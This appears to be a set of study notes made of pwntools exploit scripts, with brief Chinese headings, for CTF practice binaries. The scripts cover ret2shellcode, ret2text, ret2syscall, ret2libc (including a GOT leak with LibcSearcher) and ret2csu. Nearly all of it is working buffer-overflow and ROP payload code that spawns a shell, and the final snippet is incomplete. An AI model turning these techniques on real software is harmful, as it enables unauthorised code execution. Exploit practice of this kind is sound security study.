ret2shellcode

#!/usr/bin/env python
from pwn import *
sh = process('./ret2shellcode')
shellcode = asm(shellcraft.sh())
buf2_addr = 0x804a080
sh.sendline(shellcode.ljust(112, 'A') + p32(buf2_addr))
sh.interactive()

ret2text

from pwn import *
p=process('./ret2text')
addr=0x804863A
p.sendlineafter("anything?",'a'*112+p32(addr))
p.interactive()

ret2syscall (要用到ROPgadget

#!/usr/bin/env python
from pwn import *
p=process('./rop')
int_addr=0x8049421
bin_addr=0x80be408
pop_other_ret=0x806eb90
pop_eax_ret=0x80bb196
payload='a'*112+p32(pop_eax_ret)+p32(0xb)+p32(pop_other_ret)+p32(0)+p32(0)+p32(bin_addr)+p32(int_addr)
p.sendline(payload)
p.interactive()

ret2libc

有/bin/sh

#!/usr/bin/env python
from pwn import *
p=process('./ret2libc1')
bin_addr=0x8048720
sys_addr=0x8048460
payload='a'*112+p32(sys_addr)+p32(0x123)+p32(bin_addr)
p.sendline(payload)
p.interactive()

调用gets来构造bin/sh

from pwn import *
p=process('./ret2libc2')
sys_addr=0x8048490
get_addr=0x8048460
bss_addr=0x804A080
payload = 'a'*112 +p32(get_addr)+p32(sys_addr)+p32(bss_addr)+p32(bss_addr)
p.sendline(payload)
p.sendline('/bin/sh')
p.interactive()

函数个参数都构造

#!/usr/bin/env python
from pwn import *
from LibcSearcher import *
elf=ELF('ret2libc3')
p=process('./ret2libc3')
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
start_addr = elf.symbols['_start']
#gdb.attach(p)
payload1='A'*112+p32(puts_plt)+p32(start_addr)+p32(puts_got)
p.sendlineafter("!?",payload1)
puts_addr=u32(p.recv(4))
libc=LibcSearcher('puts',puts_addr)
libcbase=puts_addr-libc.dump("puts")
print '='*10
print "libc_base="+hex(libcbase)
print '='*10
print "puts_addr="+hex(puts_addr)
print '='*10
print "libc_dump_puts="+hex(libc.dump('puts'))
print '='*10
system_addr=libcbase+libc.dump("system")
binsh_addr=libcbase+libc.dump("str_bin_sh")
payload2='A'*112+p32(system_addr)+p32(1234)+p32(binsh_addr)
p.sendlineafter("!?",payload2)
p.interactive()

ret2csu

不传参

from pwn import *
p=process('./level3')
sys_addr=0x4005B6
pay='a'*136+p64(sys_addr)
p.sendline(pay)
p.interactive()

只需要传参数

bin_sh=libc_base+libc.dump('str_bin_sh')
payload='a'*136+p64(pop_rdi)+p64(bin_sh)+p64(sys_addr)
p.sendline(payload)
p.interactive()
